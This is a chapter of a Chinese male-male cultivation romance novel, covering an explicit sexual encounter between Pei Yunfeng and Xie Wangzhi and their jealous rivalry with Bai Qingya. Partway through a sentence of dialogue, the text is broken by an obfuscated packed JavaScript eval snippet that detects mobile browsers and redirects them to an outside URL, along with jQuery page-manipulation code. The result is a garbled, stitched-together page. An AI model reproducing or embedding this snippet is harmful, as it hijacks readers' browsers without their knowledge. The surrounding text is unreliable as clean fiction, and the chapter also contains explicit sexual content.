拜那本图册所赐,他们并非不知怎么做,而是谢妄之不肯。
而与对方不同,裴云峰每时每刻都在期待,甚至是迫切得必须努力克制,因为谢妄之不肯。
他猜得出谢妄之不肯的原因——不肯雌伏。
同为男人,他能理解谢妄之,他自己想的也从来都是侵入、独占。但其实相比“与谢妄之变得更亲密”,这种事已经变得无所谓了,他没关系。
他曾经隐晦地透露些许,但谢妄之还是不肯。或许是看出他的心思,不信任他,又或许是别的什么,比如单纯的不喜欢他……他不敢问。
若是谁来都不肯那就罢了,但谢妄之和白青崖同床共枕一夜,这些痕迹……
真的什么都没做吗?
裴云峰缓慢勾了下唇角,眼神却刺骨。
21.第 21 章
但不等裴云峰质问,头顶忽然罩下一只手,五指掌住他的后脑往回一扣。
猝不及防间,裴云峰身体前倾,冷淡清幽的木香一瞬钻入鼻腔。
“不是说要灵修么?磨蹭什么。”
头顶传来谢妄之的声音,低沉中带着些微沙哑,似一阵热风打在耳廓,叫他不由自主颤栗,头皮与耳根都发麻。
他轻咽了口唾沫,而后顺从地仰头。
夜色渐深,晚风拂过竹林,摇曳的细影透过窗棂投落地面,起伏间枝叶颤抖,发出窸窣声响,与粘稠水声缠绵合奏。
按在后脑的手掌微微加大力道,五指嵌进柔软发间,攥得他发疼。
他却全然顺从,追逐着对方细微的愉悦反应,不知疲倦,喉头不住上下轻滚,涎水仍吞咽不及,溢出唇角。
直到抽离,牵出丝线。
他强捺住干呕,喉头滚动,又缠了上去,双臂紧圈在对方腰间。
“你不要?”谢妄之伸手将他推开些,微喘着气,嗓音沙哑,“我帮你。”
他直起身,缠着人亲吻,按住对方伸过来的手,同时埋头在人颈窝,软着嗓音撒娇:“谢妄之,不用这个好不好?”
“……”
谢妄之蹙眉,感觉到肩颈一片湿热,痒得指尖轻蜷。神思挣扎片刻后到底没把人推开,默了会儿后问:“你想怎么做?”
“我不会做令你讨厌的事,相信我。”
裴云峰并不明说,只试探着按他肩膀,直到将他推入由衣物堆叠出的软垫。
谢妄之顺从躺倒,面上不动声色,指尖却悄然聚起灵力,散出凛冽寒气。
若是裴云峰胆敢找死,谢妄之能立即送对方上路。
未想到,对方跪坐在他身边。
随即,头顶罩下一片阴影,视野变得昏暗的同时,热烫相贴。
他不由睁大眼,向上看去,正撞入一双被雨淋洗得透亮的眸。
“谢妄之……”
裴云峰低头看他,眼神微微迷离,双颊湿润红透,微张着嘴喘息,无意识地不断低声唤他,隐约可见蛰伏的舌还挂着乳白的丝线。
脑后墨发松散垂坠,两鬓微微湿润,柔软末梢随着晃动来回撩过他胸口。
细密的痒像是虫蚁爬动,源源不断向周身蔓延。他的视野也跟着晃动,变得朦胧,脊背压在衣物上来回蹭动。
太磨人。
他忍不住用手肘撑着地面往后退,却被人抱着往回拖。
分明不是那样,却莫名叫他更羞恼。而对方还一直盯着他,令他忍不住偏过头。
“不许看别处。”
下一刻,裴云峰不满地伸手扳过他的脸颊,又倾身攫住他嘴唇。
头顶幽窗投落竹影婆娑,枝叶随风颤动,交叠,不住作响。直到一阵热雨淋下。
“滚开。”谢妄之面色微沉,踩住对方肩膀把人踢开,“我要回去了。”
“谢妄之……”
裴云峰剧烈喘息着,还没缓过劲,却又倾下身索吻,不住撒娇,“不行,还不够。”
*
灵修之后,裴云峰又缠了谢妄之好久,甚至从静室出来,还要牵着他的手。
谢妄之轻甩了两下,没挣开,有些受不了对方这样黏糊,忍不住勾唇嘲弄:“光天化日之下,两个男人手牵着手,成何体统?”
被他取笑,裴云峰没应,耳廓红了红,仍是将他牵着。
此时天色微明,道旁照了一夜的灯自发熄了,清幽竹林中鸟鸣清脆,霞光一缕缕破开深浓雾霭,尽头处一道颀长白影缓缓现出。
谢妄之瞧见,下意识拉着裴云峰站住,又要甩手挣脱,“松手。”
“怎么?”裴云峰一直看着他,脚步随他顿住,却不愿意松开手。
但见谢妄之看着前方不远处,他很快意识到什么,转眸顺势看去,随即缓慢勾唇冷笑了声,“呵,这么急着甩开我,是怕他看见吗?”
“……”谢妄之沉默,虽然是有些心虚,但不至于怕,只是觉得没必要。
纠缠犹豫间,那道白影很快走近,自林雾中现身,神色淡淡,清冷如月,一双黑瞳紧盯着他们两人,眼神凉薄刺骨。
裴云峰紧攥着谢妄之的手腕,强拉着他不闪不避迎上去,若无其事微笑道:“白二公子这么刻苦啊,起真早。”
走近些,能发现白青崖眼下微青,神色微恹,浑身透着一股更深露重的潮气。他眉心紧拧,眼神锁着两人牵在一起的手,咬牙冷声道:“放开。”
“嗯?放开什么?”裴云峰轻轻挑眉,听不懂似的,而后恍然大悟“哦”一声,牵着谢妄之的手抬起示意,“你是说这个吗?”
谢妄之的手臂被牵着抬起,宽大衣袖顺势往下滑落,挂在臂弯。肌肉线条流畅,内侧肌肤点缀几点鲜红与青紫,格外扎眼。
见状,白青崖眼神更冷,似能在裴云峰身上剜下一片肉,压着怒气低斥道:“放开!”
“抱歉,办不到。”裴云峰微笑拒绝,而后当着人的面,五指强硬嵌入谢妄之的指缝,与人十指相扣,末了轻晃两下炫耀,“白二公子想必不会强人所难吧?”
“你!”
白青崖面色更沉,双目紧盯着裴云峰,而后又看向谢妄之,眼眶微红,睫羽颤抖,却抿着唇一语不发。
“……够了。”饶是谢妄之也有点受不住,猛地用力把手抽回,背到身后,微微撇开视线,“不是还要上课,都杵在这做什么?”
两人沉默没应,白青崖面色稍霁,裴云峰则沉下脸。他没再管,也管不了,径直出了竹林。
等谢妄之走远,裴云峰才抱臂冷笑了声,讥嘲道:“不是清高么,还缠着谢妄之做什么?烦不烦?”
白青崖没管他怎么嘲讽,只问:“你们做了什么?”
“哈,那当然是……”裴云峰笑容扩大,却充满恶意,说至一半微微停顿,故意压低嗓音,咬字极为清晰,“该做的、不该做的,全部都做了。”
“……”白青崖呼吸微滞,面色发白。
而裴云峰还嫌不够,似是不经意地轻扯了下衣襟,脖颈靠近锁骨处露出一个牙印,痕迹浅淡,却分外刺眼。
“我这里还被他咬了一下,不过我是无所谓,他没受伤就好。”他状似苦恼又甜蜜地笑了一下,“他好像很喜欢,一直缠着我——”
白青崖眉心紧蹙,厉声打断:“不可能!”
“怎么不可能?”裴云峰神色不变,看人的眼神带了些怜悯,语气不咸不淡,“你以为你发现的时候,只是我们的第一次吗?我和他相交多年,早就十分契合,不然……”
说到此处,他笑了一下,“你以为他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14787493|155977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为什么刚和你做完,转头就找我了?大概是觉得……和我更舒服吧。”
“……”白青崖面色更沉,呼吸粗重,眸光微微颤抖。
而裴云峰毫不留情继续嘲讽,“早就跟你说过,离他远点。他当初不就是随便喂了你一点东西,你就跟条狗一样巴巴凑上来,缠到现在。亏你是白家二公子,贱不贱啊?你当真以为他喜欢你吗?呵,他只是看你可怜。”
话音落下片刻,白青崖都再没有反应,只是面无表情低垂着头。裴云峰顿觉无趣,丢下一句“别再缠着他”,转身就走。
*
课都上一半了,身边的位置还空着。
谢妄之懒散撑着头,一面听课,一面无意识往廊外扫了眼,只看见三两燕雀飞落枝头,叽叽喳喳地活泼乱蹦,压弯了纤细枝条。
他看了会儿又垂下头,继续写写画画,继昨日那个随手画的人像之后,他又画了第二张,但与之风格迥异。
直到第四次无意识地往廊外看,白青崖终于出现。
对方与他撞上目光,随即毫不停留地又移开视线,神色冷淡地走至他身边的课桌坐下。
台上的教书先生扫了眼,没说什么,继续讲课。
“你去哪儿了?”谢妄之有些意外,眉峰微挑,忍不住凑近轻声问了句。
未想到,对方置若罔闻,摊开书卷正襟危坐,目不斜视地盯着自己的课本,接着手指轻轻翻过一页书卷。
谢妄之微微蹙眉,又轻喊了声:“白青崖。”
对方无动于衷,提笔写了行字。内容正是先生方才说的重点,字迹端正优雅,行笔沉稳,不急不躁。
“……”谢妄之眉头蹙得更深,伸出手试图扯一下对方衣袖。
未想到,对方跟早有防备似的,很快躲开,接着霍然起身搬桌子,连人带桌都离他远些。
他们这动静大,早就吸引不少目光,教室里响起些窃窃私语。先生眉毛一蹙,拳头放在唇边轻咳了两声,示意大家稍安勿躁。于是众人又把头转回去,却还是悄悄往这边看。
事不过三。
谢妄之沉下脸,没再管白青崖。并且托对方的福,他也难得听了课,虽然先生讲的很基础,但他竟当真有些收获。
整个修仙界发展至今,因世家割据垄断资源,有非常多仗着身份尊贵拿了好资源,实际天赋平平也不肯努力,最后修为只是平庸的人,突破至金丹就是极限。
而金丹以上是元婴、化神、渡劫、登仙。化神及以上的大能修士,整个修仙界寥寥无几。
谢妄之现在是元婴大圆满,离突破至化神只差一个契机。突破时,越是高阶的修者,越依赖玄而又玄的顿悟。
而在梦中,他停在元婴许久,甚至等不到突破便陨落了。
黄昏时终于放学,他收拾完课桌,布置好作业的裴云峰很快走过来邀他一同用饭。大概是发生了什么喜事,对方肉眼可见的高兴,语气都雀跃。
谢妄之没什么所谓,应了声“行”。
“那之后顺便再去哪里转转?”对方紧接着又开口,说着凑到他耳边,微微压低嗓音,“或者再去我那里……好不好?”
“好。”谢妄之没有异议。
坐在边上的白青崖一字不漏全听进去,浅淡勾了下嘴角,掩在袖中的双手攥紧,掌心掐得快烂。